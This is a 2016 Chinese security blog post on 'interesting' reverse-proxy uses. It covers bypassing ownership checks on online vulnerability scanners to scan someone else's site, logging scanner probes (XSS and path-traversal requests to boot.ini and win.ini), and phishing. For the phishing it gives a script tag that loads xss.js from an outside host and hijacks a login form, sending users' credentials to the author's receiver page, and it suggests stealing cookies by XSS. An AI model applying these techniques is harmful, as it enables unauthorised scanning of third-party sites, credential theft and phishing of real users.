MENU

反向代理有趣的用法

September 15, 2016 • Security

0x00 简介

反向代理,是指反向代理服务器从目标内容服务器上抓取内容返回给用户,反向代理服务器充当了一个中介的功能,它本身是没有任何内容的。整个流程如下:

2013081909582854868.jpg

整个流程非常简单,只需要负责映射请求的.htaccess和负责抓取内容的index.php就可完成,中间还可以通过正则表达式等实现内容和网址的替换。

这种技术还广泛运用于小偷程序中。

0x01 用反向代理让漏洞检测平台帮我们扫漏洞

现在有一些在线漏洞检测平台(如bugscan 360webscan等),都能让我们对目标网站的安全状况有一个初步的了解。但是,这些漏洞检测平台都是需要验证所有权的,那么,我们能不能绕过这个限制呢?反向代理能解决这个问题。

首先,使用设置好反向代理的目标(如 rinige.com),然后将我们配置好了反向代理程序的网址输入到漏洞检测平台,选取代码验证方式,在我们的核心中转页面(index.php)中插入这段代码,就能够通过漏洞扫描平台的验证,扫目标站的漏洞了。

0x02 扫描规则收集新思路

各个在线漏洞扫描平台都看上去非常高端洋气国际化的样子,那么,它们是怎么扫描的呢?可以使用反向代理来抓扫描语句。

首先,在index.php核心中转文件中加入一段代码,将所有请求记录到log.txt中

#!php
$data = $_SERVER['REQUEST_URI'] . "\n";
if ($_POST) {
    foreach ($_POST as $key => $value) {
        $data.= "$key=$value" . '\n';
    }
}
file_put_contents("log.txt", $data, FILE_APPEND);

360有一款安全监测工具,360网站安全http://webscan.360.cn/

然后将搭建好的“蜜罐”丢给360漏洞扫描平台扫描,大约1个小时后,去看看log.txt,已经记录下了上千条扫描日志,由于日志太长,无法全部贴上来,选取几条有代表性的贴上来,并注释了一下可能的用途,全部日志请在http://rinige.com/log.txt查看

GET http://rinige.com/  
GET http://rinige.com/robots.txt  
GET http://rinige.com/  
GET http://rinige.com/index.php?a=1<script>alert(abc)<%2Fscript>  
GET http://rinige.com/  
GET http://rinige.com/nevercouldexistfilenosec  
GET http://rinige.com/nevercouldexistfilewebsec  
GET http://rinige.com/nevercouldexistfilenosec.aspx  
GET http://rinige.com/nevercouldexistfilewebsec.aspx  
GET http://rinige.com/nevercouldexistfilenosec.shtml  
GET http://rinige.com/nevercouldexistfilewebsec.shtml  
GET http://rinige.com/nevercouldexistfilenosec/  
GET http://rinige.com/nevercouldexistfilewebsec/  
GET http://rinige.com/nevercouldexistfilenosec.zip  
GET http://rinige.com/nevercouldexistfilenosec.zip  
GET http://rinige.com/nevercouldexistfilewebsec.zip  
GET http://rinige.com/nevercouldexistfilenosec.php  
GET http://rinige.com/nevercouldexistfilewebsec.php  
GET http://rinige.com/nevercouldexistfilenosec.bak  
GET http://rinige.com/nevercouldexistfilewebsec.bak  
GET http://rinige.com/nevercouldexistfilenosec.rar  
GET http://rinige.com/nevercouldexistfilewebsec.rar  
GET http://rinige.com/  
PUT http://rinige.com/jsky_web_scanner_test_file.txt zwell@nosec.org  
GET http://rinige.com/jsky_web_scanner_test_file.txt  
GET http://rinige.com/  
GET http://rinige.com/wp-admin  
GET http://rinige.com/admin.php  
GET http://rinige.com/nosec_Web_Scanner_Test.dll  
GET http://rinige.com/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/boot.ini  
GET http://rinige.com/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini  
GET http://rinige.com/dede/ 

0x03 钓鱼

由于所有经过反向代理服务器的页面都可以控制,所以我们也可以利用此进行钓鱼。例如:

http://rinige.com/user.php?action=login

我使用正则表达式在该页面中插入了一段这样的代码

<script src="http://xss.com/xss.js"></script><script>xss.xform(document.forms[1],'http://rinige.com/sb.php');</script>

使用了表单劫持代码,这样如果用户在我的演示站登录网站帐号时就会自动把网站帐号发送到我的一个接受页面,而还是能正常登录的。除此之外,由于所有经过反向代理服务器的页面都可以控制,我们还可以做很多事,如在页面中动态插入一个xss盗cookies等。

Archives QR Code
QR Code for this page
Tipping QR Code